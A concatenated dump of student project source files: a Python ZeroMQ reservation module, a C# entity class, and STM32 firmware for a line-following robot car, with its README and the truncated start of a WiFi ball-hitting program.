Para comunicarme con Cxc class Cuentas: def __init__(self, nom, mnt): self.nom = nom self.mnt = mnt # Para saber si hay stock suficiente de un objeto # tiene id de producto # dif es la diferencia entre el stock y la cantidad requerida class Mensaje: def __init__(self, idp, nom, cnt, dif = 0, cst = 0, dni = ""): self.idp = idp self.nom = nom self.cnt = cnt self.dif = dif self.cst = cst self.dni = dni class Message: def __init__(self, origen, destino, dni, pedidos, reservar, monto = 0.0, vuelto = 0.0): self.origen = origen self.destino = destino self.dni = dni self.pedidos = pedidos self.reservar = reservar self.monto = monto self.vuelto = vuelto class Pedido: def __init__(self, idp, nombre, cantidad, diferencia = 0, costo = 0.0): self.idp = idp self.nombre = nombre self.cantidad = cantidad self.diferencia = diferencia self.costo = costo <file_sep>/Code/Facturacion/Facturacion/Facturacion.Entidades/ECliente.cs using System; using System.Collections.Generic; using System.Text; namespace Facturacion.Entidades { public class ECliente { public int id_cliente { get; set; } public string nombre_cli { get; set; } public string app_cli { get; set; } public string apm_cli { get; set; } } } <file_sep>/Code/Inventario-Reserva/Reserva/main.py import mysql.connector from mysql.connector import errorcode import zmq import json from Reserva import Reserva def getStringFromBytes(jsonBytes): print("Getting bytes... Returning string...\n") return jsonBytes.decode("utf-8") def getJsonFromString(jsonString): print("Getting string... Returning json (dict)...\n") return json.loads(jsonString) def getStringFromJson(jsonDict): print("Getting string... Returning json (dict)...\n") return json.dumps(jsonDict) def getJsonFromBytes(jsonBytes): print("Getting bytes... Returning json (dict)...\n") jsonDict = json.loads(jsonBytes.decode("utf-8")) return jsonDict ############################################# ##### ----- Esto se va a ejecutar ----- ##### ############################################# dirInventario = "tcp://*:5052" # Creo contexto para la comunicación con Inventario ctxtInv = zmq.Context() scktInv = ctxtInv.socket(zmq.REP) scktInv.bind(dirInventario) print("*** MÓDULO DE RESERVA ***") while True: print("Esperando solicitudes...\n") # Se recibe la lista de jsons, en forma de string jsonStr = scktInv.recv_string() # Se convierte ese string en una lista de jsons jsonLst = getJsonFromString(jsonStr) print("> Requerimiento recibido.") # Llamo al método reservar y almaceno el resultado en correcto correcto = Reserva.reservarPedido(jsonLst) # Devuelve un mensaje que depende de correcto if (correcto): msj = "Solicitud reservada exitosamente." print("> Reserva exitosa.") else: msj = "Error ocurrido al procesar la solicitud. Por favor, intente nuevamente." print("> Reserva no procesada.") # Envía el mensaje scktInv.send_string(msj) <file_sep>/Code/Inventario-Reserva/Reserva/objeto.py # Ejemplito ps class Objeto: def __init__(self, nombre = "", descripcion = "", numerito = 0): self.nombre = nombre self.descripcion = descripcion self.numerito = numerito def getNombre(self): print(self.nombre) # Para empacar lo que llega del módulo de Operaciones # tiene nombre de producto # y cantidad que se desea reservar class Requerimiento: def __init__(self, nombre = "", cantidad = 0, dni = ""): self.nombre = nombre self.cantidad = cantidad self.dni = dni # Para empacar lo que se le va a enviar al módulo Reserva # tiene id de producto # y cantidad a reservar class Reserva: def __init__(self, idp = 0, cantidad = 0): self.idp = idp self.cantidad = cantidad # Para saber si hay stock suficiente de un objeto # tiene id de producto # dif es la diferencia entre el stock y la cantidad requerida class Comunicado: def __init__(self, idp, nom, cnt, dif = 0, cst = 0, dni = ""): self.idp = idp self.nom = nom self.cnt = cnt self.dif = dif self.cst = cst self.dni = dni class Message: def __init__(self, origen, destino, dni, pedidos, reservar): self.origen = origen self.destino = destino self.dni = dni self.pedidos = pedidos self.reservar = reservar class Pedido: def __init__(self, idp, nombre, cantidad, diferencia, costo): self.idp = idp self.nombre = nombre self.cantidad = cantidad self.diferencia = diferencia
a97d405f531b91ea57d65faa3541271ed2892127
[ "SQL", "JavaScript", "Markdown", "C#", "Python", "PHP" ]
43
C#
cristhianpj10/Proyecto_Distribuidos
629f562911ed72b0db3e03fea9a02986c7a7aabb
c97bb538f9e2fa4d5366b0e4502cc9dad392b058
refs/heads/master
<file_sep>void TIM3_CH12_PWM_init(void); void SPI2_init(void); void Right_Wheel_Cnt_init(void); void Left_Wheel_Cnt_init(void); void USART2_init(void); void Wheel_Dir_Init(void); void TIM2_Init(void); void Button_init(void); void OnBoard_lED_Init(void);<file_sep>// ---- Methods in init.c---- // void TIM3_CH12_PWM_init(void); void SPI2_init(void); void Right_Wheel_Cnt_init(void); void Left_Wheel_Cnt_init(void); void USART2_init(void); void Wheel_Dir_Init(void); void TIM2_Init(void); void Button_init(void); void OnBoard_lED_Init(void); // ---- Methods in funcions.c---- // void onLight(void); void offLight(void); void blinkLight(void); void setForwardRight(void); void setBackwardRight(void); void setForwardLeft(void); void setBackwardLeft(void); void powerRight(int cycle); void powerLeft(int cycle); void stopMotor(void); int Hex2Dec(char temp); void USARTsend(char *pucBuffer, unsigned long ulCount); // ---- Methods in main.c---- // void check_wifiData(void); void move(void); <file_sep>#include "stm32f10x.h" // Device header #include "stdbool.h" #include "string.h" #include "PinMap.h" unsigned int isOn = 0; // Line Follower Variables int state = 1; int wheel_speed_outer = 42; //40 int flag_check_time = 40; // 40 int number_of_flag = 4; int count = 0; int turn = 0; bool outLine = true; int delay = 0; int error = 0; int last_error_inner = 0; int last_error_outer = 0; int delay_period = 0; int time_stamp = 0; bool isDelay = false; bool outer2inner = false; bool inner2outer = false; // Wait turning bool delay_turn2in = false; int delay_turn2in_cnt = 0; int delay_turn2in_period = 1; // Trunning from outter to inner delay bool delay_O2I = false; int delay_O2I_cnt = 0; int delay_O2I_period = 12; //15 // use the single one for two turning // Time Delay to stop from inner to outer bool delay_I2O = false; int delay_I2O_cnt = 0; int delay_I2O_period = 12;//12 // Time Delay to turn around bool delay_turn2out = false; int delay_turn2out_cnt = 0; int delay_turn2out_period = 20; //15 // Time Delay to finally turn to the inner track bool delay_endPoint = false; int delay_endPoint_cnt = 0; int delay_endPoint_period = 15; //13 bool startTurn = false; void clear_line_follower(){ state = 1; count = 0; turn = 0; delay = 0; outLine = true; error = 0; last_error_inner = 0; last_error_outer = 0; delay_period = 0; time_stamp = 0; isDelay = false; outer2inner = false; inner2outer = false; } // PID Variables int target_count_R = 8; int target_count_L = 8; int wheel_count_R = 0; int wheel_count_L = 0; // Kp = 0.95, Ki = 0.01, Kd = 1 float Kp_L = 0.95; float Ki_L = 0.01; float Kd_L = 1; int integral_L = 0; int lastError_L = 0; int lastPWM_L = 0; float PWM_L = 0; float error_L = 0; float derivative_L = 0; // Kp = 1.2, Ki = 0.01, Kd = 1.1 float Kp_R = 1.2; float Ki_R = 0.01; float Kd_R = 0.8; int integral_R = 0; int lastError_R = 0; int lastPWM_R = 0; float PWM_R = 0; float error_R = 0; float derivative_R = 0; void clear_PID(){ wheel_count_L = 0; wheel_count_R = 0; integral_L = 0; integral_R = 0; error_L = 0; error_R = 0; lastError_L = 0; lastError_R = 0; PWM_L = 0; PWM_R = 0; lastPWM_L = 0; lastPWM_R = 0; derivative_L = 0; derivative_R = 0; } void PID_Calcul_R(){ lastError_R = error_R; //Store the last error lastPWM_R = PWM_R; //Store the last PWM error_R = target_count_R - wheel_count_R; // Caculate the present error integral_R += error_R; // Sum the error derivative_R = error_R - lastError_R;// Caculate the different between the present error and last error PWM_R = (lastPWM_R + (Kp_R * error_R) + (Ki_R*integral_R) + (Kd_R * derivative_R)); if(PWM_R < 0){ PWM_R = 0; } TIM3 -> CCR1 = PWM_R; wheel_count_R = 0; } void PID_Calcul_L(){ lastError_L = error_L; //Store the last error lastPWM_L = PWM_L; //Store the last PWM error_L = target_count_L - wheel_count_L; // Caculate the present error integral_L += error_L; // Sum the error derivative_L = error_L - lastError_L; // Caculate the different between the present error and last error PWM_L = (lastPWM_L + (Kp_L * error_L) + (Ki_L*integral_L) + (Kd_L * derivative_L)); if(PWM_L < 0){ PWM_L = 0; } TIM3 -> CCR2 = PWM_L; wheel_count_L = 0; } // Right Wheel Counter EXTI void EXTI1_IRQHandler(){ if (EXTI_GetITStatus(EXTI_Line1) != RESET){ wheel_count_R++; EXTI_ClearITPendingBit(EXTI_Line1); } } unsigned int pressed = 0; // Left Wheel Counter EXTI void EXTI9_5_IRQHandler(){ if(EXTI_GetITStatus(EXTI_Line6) != RESET){ wheel_count_L++; EXTI_ClearITPendingBit(EXTI_Line6); } if(EXTI_GetITStatus(EXTI_Line8)!= RESET){ clear_PID(); // Clear all PID variables clear_line_follower(); // clear all line follower variable if(pressed==0){ if(isOn == 0){ //TIM3 -> CCR1 = 70; // Give the right wheel a initial speed ??? isOn = 1; } else{ isOn = 0; // Set the speed to 0 TIM3 -> CCR1 = 0; TIM3 -> CCR2 = 0; } } pressed ++; EXTI_ClearITPendingBit(EXTI_Line8); } else{ pressed = 0; } } int flag = 0; volatile unsigned int data1; volatile unsigned int data2; unsigned int floor_data; unsigned int b1=1,b2=1,b3=1,b4=1,b5=1,b6=1,b7=1,b8=1; // Dark Track, No reflection -> 0, ON Board LED on // White Track, has reflection -> 1, ON Board LED off // Photo Tran from left to right b1 b2 b3 b4 b5 b6 b7 b8 void track_detect(){ b1=1,b2=1,b3=1,b4=1,b5=1,b6=1,b7=1,b8=1; GPIO_WriteBit(GPIOB, GPIO_Pin_12, Bit_SET); while(SPI_I2S_GetFlagStatus(SPI2, SPI_I2S_FLAG_TXE) == RESET); SPI_I2S_SendData(SPI2, '0'); while(SPI_I2S_GetFlagStatus(SPI2,SPI_I2S_FLAG_RXNE) == RESET); data1 = SPI_I2S_ReceiveData(SPI2); SPI_I2S_ClearITPendingBit(SPI2,SPI_I2S_FLAG_RXNE); if ((data1 & (0xFF))== 0x00){ b8 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } GPIO_WriteBit(GPIOB, GPIO_Pin_12, Bit_RESET); while(SPI_I2S_GetFlagStatus(SPI2, SPI_I2S_FLAG_TXE) == RESET); SPI_I2S_SendData(SPI2, '0'); while(SPI_I2S_GetFlagStatus(SPI2,SPI_I2S_FLAG_RXNE) == RESET); data2 = SPI_I2S_ReceiveData(SPI2); SPI_I2S_ClearITPendingBit(SPI2,SPI_I2S_FLAG_RXNE); if ((data2 & (1<<1)) == 0){ b1 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } if ((data2 & (1<<2)) == 0){ b2 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } if ((data2 & (1<<3)) == 0){ b3 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } if ((data2 & (1<<4)) == 0){ b4 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } if ((data2 & (1<<5)) == 0){ b5 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } if ((data2 & (1<<6)) == 0){ b6 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } if ((data2 & (1<<7)) == 0){ b7 = 0; //GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); } floor_data = data1 + (data2 >>1); } int get_number(){ int number_of_bits = 0; if(b8 == 0){ number_of_bits++; } for(int i=1; i<8; i++){ if((data2 & (1<<i)) == 0){ number_of_bits++; } } return number_of_bits; } void delay_check_time(int period){ time_stamp = 0; delay_period = period; isDelay = true; } void check_flag_point(){ if(!isDelay){ if (get_number() > number_of_flag){ count ++; delay_check_time(flag_check_time); GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_SET); if(count == 5){ outLine = false; delay_turn2in = true; } if(count == 6){ inner2outer = true; } if(count == 10){ delay_turn2in = true; state = 3; // Change to the inner track again } if(count == 11){ delay_endPoint = true; } } } } // Outer line tracker follower void outer_tracker(){ last_error_outer = error; if(b4 == 0){ error = 1; } else if(b5 == 0){ error = -1; } else if(b3 == 0){ error = 3; } else if(b6 == 0){ error = -3; } else if(b7 == 0){ error = -5; } else if(b2 == 0){ error = 5; } else if(b8 == 0){ error = -7; } else if(b1 == 0){ error = 7; } PWM_L = wheel_speed_outer - error * 4 - (error - last_error_outer)*1; PWM_R = wheel_speed_outer + error * 4 + (error - last_error_outer)*1; TIM3 -> CCR2 = PWM_L; TIM3 -> CCR1 = PWM_R; } // Inner line tracker follower void inner_tracker(){ last_error_inner = error; if(b4 == 0){ error = 5; } else if(b5 == 0){ error = -5; } else if(b3 == 0){ error = 9; } else if(b6 == 0){ error = -9; // 5 * 4 = 20 } else if(b2 == 0){ error = 11; } else if(b7 == 0){ error = -11; // 6 * 4 = 24 } else if(b1 == 0){ error = 12; } else if(b8 == 0){ error = -12; // 7 * 4 = 28 } PWM_L = 40 - error * 2 - (error - last_error_inner)*1; PWM_R = 40 + error * 2 + (error - last_error_inner)*1; TIM3 -> CCR2 = PWM_L; TIM3 -> CCR1 = PWM_R; } int main(){ TIM3_CH12_PWM_init(); TIM2_Init(); Left_Wheel_Cnt_init(); Right_Wheel_Cnt_init(); Wheel_Dir_Init(); Button_init(); OnBoard_lED_Init(); SPI2_init(); USART2_init(); while(1){ if(flag == 1){ track_detect(); //inner_tracker(); check_flag_point(); if(state == 1){ if (outLine == true){ outer_tracker(); } else{ inner_tracker(); } if(outer2inner){ error = -11; //-11 PWM_L = 40 - error * 2; //1 PWM_R = 40 + error * 2; //2 TIM3 -> CCR2 = PWM_L; TIM3 -> CCR1 = PWM_R; outer2inner = false; delay_O2I = true; } if(inner2outer){ error = -6; PWM_L = 40 - error * 4; PWM_R = 40 + error * 4; TIM3 -> CCR2 = PWM_L; TIM3 -> CCR1 = PWM_R; inner2outer = false; delay_I2O = true; } } if(state == 2){ if(startTurn){ // Turn the direction GPIO_WriteBit(GPIOA,GPIO_Pin_0,Bit_RESET); GPIO_WriteBit(GPIOC,GPIO_Pin_15,Bit_SET); TIM3-> CCR2 = 45; TIM3-> CCR1 = 45; startTurn = false; delay_turn2out = true; } else{ GPIO_WriteBit(GPIOA,GPIO_Pin_0,Bit_SET); GPIO_WriteBit(GPIOC,GPIO_Pin_15,Bit_SET); //number_of_flag = 3; outer_tracker(); } } if(state == 3){ if(outer2inner){ error = 11; PWM_L = 40 - error * 2; PWM_R = 40 + error * 2; TIM3 -> CCR2 = PWM_L; TIM3 -> CCR1 = PWM_R; outer2inner = false; delay_O2I = true; } else{ //number_of_flag = 4; inner_tracker(); } } if(state == 4){ TIM3 -> CCR2 = 0; TIM3 -> CCR1 = 0; } flag=0; } } } void TIM2_IRQHandler(){ if (TIM_GetITStatus(TIM2, TIM_IT_Update) != RESET) { GPIO_WriteBit(GPIOB, GPIO_Pin_7, Bit_RESET); /* if(isOn == 1 && delay_O2I == false && delay_turn2out == false){ flag = 1; } */ if(isOn == 1 && delay_O2I == false && delay_I2O == false && delay_turn2out == false){ flag = 1; } // Time Delay to start turning to inner if(delay_turn2in == true){ delay_turn2in_cnt ++; if(delay_turn2in_cnt == delay_turn2in_period){ outer2inner = true; delay_turn2in = false; delay_turn2in_cnt = 0; } } // Time for turning 1st Outer to Inner if(delay_O2I == true){ delay_O2I_cnt ++; if(delay_O2I_cnt == delay_O2I_period){ delay_O2I = false; delay_O2I_cnt = 0; } } // Time Delay to stop for 1st Inner to Outer if(delay_I2O == true){ delay_I2O_cnt ++; if(delay_I2O_cnt == delay_I2O_period){ TIM3 -> CCR2 = 0; TIM3 -> CCR1 = 0; delay_I2O = false; delay_I2O_cnt = 0; startTurn = true; state = 2; // Change to the second state } } // Time for turning to outer if(delay_turn2out == true){ delay_turn2out_cnt ++; if(delay_turn2out_cnt == delay_turn2out_period){ delay_turn2out = false; delay_turn2out_cnt = 0; } } // Time Delay for turning to inner second time if(delay_endPoint == true){ delay_endPoint_cnt ++; if(delay_endPoint_cnt == delay_endPoint_period){ state = 4; // stop delay_endPoint = false; delay_endPoint_cnt = 0; } } // Time Delay for Checking the Flag Point time_stamp ++; if((isDelay==true) && (time_stamp == delay_period)){ isDelay = false; } TIM_ClearITPendingBit(TIM2, TIM_IT_Update); } } <file_sep>#include "stm32f10x.h" // Device header //Wheel PWM Init //500 HZ PWM and Duty cycle is 50% void TIM3_CH12_PWM_init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA | RCC_APB2Periph_AFIO, ENABLE); GPIO_InitTypeDef GPIO_InitStruct; // PA6 Init for PWM CH1 Right Wheel GPIO_InitStruct.GPIO_Pin = GPIO_Pin_6; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOA,&GPIO_InitStruct); // PA7 Init for PWM CH2 Left Wheel GPIO_InitStruct.GPIO_Pin = GPIO_Pin_7; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOA,&GPIO_InitStruct); //Tim3 Set up RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM3, ENABLE); TIM_TimeBaseInitTypeDef TIM_InitStruct; TIM_InitStruct.TIM_Prescaler = 1440-1; TIM_InitStruct.TIM_CounterMode = TIM_CounterMode_Up; TIM_InitStruct.TIM_Period = 100-1; TIM_InitStruct.TIM_ClockDivision = TIM_CKD_DIV1; TIM_InitStruct.TIM_RepetitionCounter = 0; TIM_TimeBaseInit(TIM3,&TIM_InitStruct); TIM_Cmd(TIM3,ENABLE); //Enable Tim3 Ch1 PWM Right-Wheel TIM_OCInitTypeDef OC_InitStruct; OC_InitStruct.TIM_OCMode = TIM_OCMode_PWM1; OC_InitStruct.TIM_Pulse = 1-1;//100-1; // 1000 / 2000 = 0.5 duty cycle OC_InitStruct.TIM_OutputState = TIM_OutputState_Enable; OC_InitStruct.TIM_OCPolarity = TIM_OCPolarity_High; TIM_OC1Init(TIM3,&OC_InitStruct); TIM_OC1PreloadConfig(TIM3,TIM_OCPreload_Enable); //Enable Tim3 Ch2 PWM Left-Wheel OC_InitStruct.TIM_OCMode = TIM_OCMode_PWM1; OC_InitStruct.TIM_Pulse = 1-1;//100-1; // 1000 / 2000 = 0.5 duty cycle OC_InitStruct.TIM_OutputState = TIM_OutputState_Enable; OC_InitStruct.TIM_OCPolarity = TIM_OCPolarity_High; TIM_OC2Init(TIM3,&OC_InitStruct); TIM_OC2PreloadConfig(TIM3, TIM_OCPreload_Enable); } // SPI MASTER init // PB12 IR LED SS // PB13 SPI2_SCK clock signal from master to floor // Send the clock to floor // PB14 SPI2_MISO master in floor out // where the data of photo transistor is from // PB15 SPI2_MOSI master out floor in // No use void SPI2_init(void){ RCC_APB1PeriphClockCmd(RCC_APB1Periph_SPI2, ENABLE); RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB | RCC_APB2Periph_AFIO, ENABLE); GPIO_InitTypeDef GPIO_InitStructure; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_14; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING; GPIO_Init(GPIOB, &GPIO_InitStructure); GPIO_InitStructure.GPIO_Pin = GPIO_Pin_13 | GPIO_Pin_15; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_Init(GPIOB, &GPIO_InitStructure); GPIO_InitStructure.GPIO_Pin = GPIO_Pin_12; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP; GPIO_Init(GPIOB, &GPIO_InitStructure); //SPI Configuration SPI_InitTypeDef SPI_InitStructure; SPI_InitStructure.SPI_Direction = SPI_Direction_2Lines_FullDuplex; SPI_InitStructure.SPI_Mode = SPI_Mode_Master; SPI_InitStructure.SPI_DataSize = SPI_DataSize_8b; SPI_InitStructure.SPI_CPOL = SPI_CPOL_Low; SPI_InitStructure.SPI_CPHA = SPI_CPHA_2Edge; SPI_InitStructure.SPI_NSS = SPI_NSS_Soft; SPI_InitStructure.SPI_BaudRatePrescaler = SPI_BaudRatePrescaler_256; SPI_InitStructure.SPI_FirstBit = SPI_FirstBit_MSB; SPI_Init(SPI2, &SPI_InitStructure); // Enable SPI2 SPI_Cmd(SPI2, ENABLE); // Enable Receive Interrupt /* NVIC_InitTypeDef NVIC_InitStructure; SPI_I2S_ITConfig(SPI2, SPI_I2S_IT_RXNE|SPI_I2S_IT_TXE, ENABLE); NVIC_InitStructure.NVIC_IRQChannel = SPI2_IRQn; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0; NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_Init(&NVIC_InitStructure); */ } // Right Wheel Counter Init PA1 Timer2 void Right_Wheel_Cnt_init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA| RCC_APB2Periph_AFIO, ENABLE); GPIO_InitTypeDef GPIO_InitStruct; // PA1 Init for Right Wheel Counter GPIO_InitStruct.GPIO_Pin = GPIO_Pin_1; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_IPU; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOA,&GPIO_InitStruct); // EXTI Configuration GPIO_EXTILineConfig(GPIO_PortSourceGPIOA, GPIO_PinSource1); EXTI_InitTypeDef EXTI_InitStruct; EXTI_InitStruct.EXTI_Line = EXTI_Line1; EXTI_InitStruct.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStruct.EXTI_Trigger = EXTI_Trigger_Rising; EXTI_InitStruct.EXTI_LineCmd = ENABLE; EXTI_Init(&EXTI_InitStruct); // Enable Interrupt NVIC_InitTypeDef NVIC_InitStruct; NVIC_InitStruct.NVIC_IRQChannelCmd = ENABLE; NVIC_InitStruct.NVIC_IRQChannel = EXTI1_IRQn; NVIC_InitStruct.NVIC_IRQChannelPreemptionPriority = 0x02; NVIC_Init(&NVIC_InitStruct); //NVIC_EnableIRQ(EXTI1_IRQn); } // Left Wheel Counter Init PB6 Timer4 void Left_Wheel_Cnt_init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB| RCC_APB2Periph_AFIO, ENABLE); GPIO_InitTypeDef GPIO_InitStruct; // PB6 Init for Left Wheel Counter GPIO_InitStruct.GPIO_Pin = GPIO_Pin_6; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_IPU; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOB,&GPIO_InitStruct); // EXTI Configuration GPIO_EXTILineConfig(GPIO_PortSourceGPIOB, GPIO_PinSource6); EXTI_InitTypeDef EXTI_InitStruct; EXTI_InitStruct.EXTI_Line = EXTI_Line6; EXTI_InitStruct.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStruct.EXTI_Trigger = EXTI_Trigger_Rising; EXTI_InitStruct.EXTI_LineCmd = ENABLE; EXTI_Init(&EXTI_InitStruct); // Enable Interrupt NVIC_InitTypeDef NVIC_InitStruct; NVIC_InitStruct.NVIC_IRQChannelCmd = ENABLE; NVIC_InitStruct.NVIC_IRQChannel = EXTI9_5_IRQn; NVIC_InitStruct.NVIC_IRQChannelPreemptionPriority = 0x02; NVIC_Init(&NVIC_InitStruct); //NVIC_EnableIRQ(EXTI9_5_IRQn); } void USART2_init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA | RCC_APB2Periph_AFIO, ENABLE); GPIO_InitTypeDef GPIO_InitStructure; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_2; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF_PP; GPIO_Init(GPIOA, &GPIO_InitStructure); GPIO_InitStructure.GPIO_Pin = GPIO_Pin_3; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN_FLOATING; GPIO_Init(GPIOA, &GPIO_InitStructure); //USART2 ST-LINK USB RCC_APB1PeriphClockCmd(RCC_APB1Periph_USART2,ENABLE); USART_InitTypeDef USART_InitStructure; USART_InitStructure.USART_BaudRate = 9600; USART_InitStructure.USART_WordLength = USART_WordLength_8b; USART_InitStructure.USART_StopBits = USART_StopBits_1; USART_InitStructure.USART_Parity = USART_Parity_No; USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None; USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx; USART_Init(USART2, &USART_InitStructure); USART_Cmd(USART2, ENABLE); } // PC15 Right Dir // PA0 Left Dir void Wheel_Dir_Init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA | RCC_APB2Periph_GPIOC, ENABLE); GPIO_InitTypeDef GPIO_InitStruct; //PC15 GPIO_InitStruct.GPIO_Pin = GPIO_Pin_15; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_IPU; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOC,&GPIO_InitStruct); //PA0 GPIO_InitStruct.GPIO_Pin = GPIO_Pin_0; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_IPU; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOA,&GPIO_InitStruct); } void TIM2_Init(void){ RCC_APB1PeriphClockCmd(RCC_APB1Periph_TIM2, ENABLE); TIM_TimeBaseInitTypeDef TIM_InitStruct; TIM_InitStruct.TIM_Prescaler = 720-1; TIM_InitStruct.TIM_CounterMode = TIM_CounterMode_Up; TIM_InitStruct.TIM_Period = 7500-1; // 75ms // TIM_InitStruct.TIM_ClockDivision = TIM_CKD_DIV1; TIM_InitStruct.TIM_RepetitionCounter = 0; TIM_TimeBaseInit(TIM2,&TIM_InitStruct); TIM_Cmd(TIM2,ENABLE); //Enable update event for Timer2 TIM_ITConfig(TIM2, TIM_IT_Update, ENABLE); NVIC_EnableIRQ(TIM2_IRQn); } // On-board button init PB8 void Button_init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB|RCC_APB2Periph_AFIO, ENABLE); GPIO_InitTypeDef GPIO_InitStruct; GPIO_InitStruct.GPIO_Pin = GPIO_Pin_8; GPIO_InitStruct.GPIO_Mode = GPIO_Mode_IPU; GPIO_InitStruct.GPIO_Speed = GPIO_Speed_2MHz; GPIO_Init(GPIOB,&GPIO_InitStruct); // EXTI Configuration GPIO_EXTILineConfig(GPIO_PortSourceGPIOB, GPIO_PinSource8); EXTI_InitTypeDef EXTI_InitStruct; EXTI_InitStruct.EXTI_Line = EXTI_Line8; EXTI_InitStruct.EXTI_Mode = EXTI_Mode_Interrupt; EXTI_InitStruct.EXTI_Trigger = EXTI_Trigger_Falling; EXTI_InitStruct.EXTI_LineCmd = ENABLE; EXTI_Init(&EXTI_InitStruct); NVIC_EnableIRQ(EXTI9_5_IRQn); } // On-board LED init PB7 void OnBoard_lED_Init(void){ RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOB, ENABLE); GPIO_InitTypeDef GPIO_InitStructure; GPIO_InitStructure.GPIO_Pin = GPIO_Pin_7; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_2MHz; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_Out_PP; GPIO_Init(GPIOB, &GPIO_InitStructure); }<file_sep># STM32F103-Robot-Car The robot car is my project for the course EIE3105-Integrated Project at the Hong Kong Polytechnic University. It is a DC-motor-driven two-wheel robot car with a mobile power bank as power source, which is designed for handling multiple missions including following specific tracks and locating objects through the WIFI communication. <p align="center"> <img src="https://github.com/aaronzguan/STM32F103-Robot-Car/blob/master/photos/car.JPG" height="300"> <img src="https://github.com/aaronzguan/STM32F103-Robot-Car/blob/master/photos/car_body.JPG" height="300"> <img src="https://github.com/aaronzguan/STM32F103-Robot-Car/blob/master/photos/car_front.JPG" height="300"> </p> The robot can perform three different tasks: * [__Track Follower__](./Demo2-Track%20Follower): With the use of Infra-red Photo Transistors and SPI communication, the robot car can follow black track automatically. [Video for Track Follower](https://drive.google.com/open?id=1cUiWE4TCFwyTd62rdcmkwdAOJFBBLITv) * [__Hit three balls__](Demo3-Hit%20Balls): The robot car can hit ball automatically by locating the position of the balls and car through WIFI communication. [Video for Hit Balls](https://drive.google.com/open?id=1hNRZpc35jRpEoIIF480u5co5YAhyImfd) <p align="center"> <img src="https://github.com/aaronzguan/STM32F103-Robot-Car/blob/master/photos/hitball.png" height="250"> </p> * [__Pass ball__](Demo4-Pass%20Ball): Two robot cars, placed in two different regions, can be able to pass a ball to each other. Theoretically, with good control of the speed and orientation of two robot cars, they can pass the ball forever until the battery dies. [Video for Pass Ball](https://drive.google.com/open?id=15UgMaZLL-s1u7Mc-ZEMFmdfZflYVXLHK) <p align="center"> <img src="https://github.com/aaronzguan/STM32F103-Robot-Car/blob/master/photos/passball.png" height="250"> </p> Here is the [Final Report](Final_Report.pdf). <file_sep>/******* Author: <NAME> <PASSWORD> Date: 14 Mar, 2019 Results: Hit and push three balls into the region in 20s. ********/ #include "stm32f10x.h" // Device header #include "header.h" #include "stdbool.h" #include "string.h" #include "stdio.h" #include "misc.h" #include "math.h" #define PI 3.14159265 char wifi_data[10000]; char start[]="AT+CWMODE=1\r\n"; char connectWIFI[]="AT+CWJAP=\"IntegratedProject\",\"31053106\"\r\n"; char getIP[]="AT+CIFSR\r\n"; char retrieveData[] = "AT+CIPSTART=\"UDP\",\"0\",0,3105,2\r\n"; char receiveBuffer[100]; int charPos = -1; bool WIFIConnected = false; bool dataReceived = false; int state = 1; float Kp_forward = 0.35; // 0.5 float Ki_forward = 0; float Kd_forward = 0; float Kp_back = 0.25; // 0.35 float Ki_back = 0; float Kd_back = 0.4; // 0.4 int PWM_forward = 35; int PWM_back = 50; int BBE_X = 500, BBE_Y, BOE_X, BOE_Y, BYL_X,BYL_Y; int init_posX = 840, init_posY = 285; int car_HeadX = 873, car_HeadY = 286, car_EndX = 988, car_EndY = 286; float carAngle = 0; float targetAngle = 0; float error = 0; float last_error = 0; float integral = 0; float derivative = 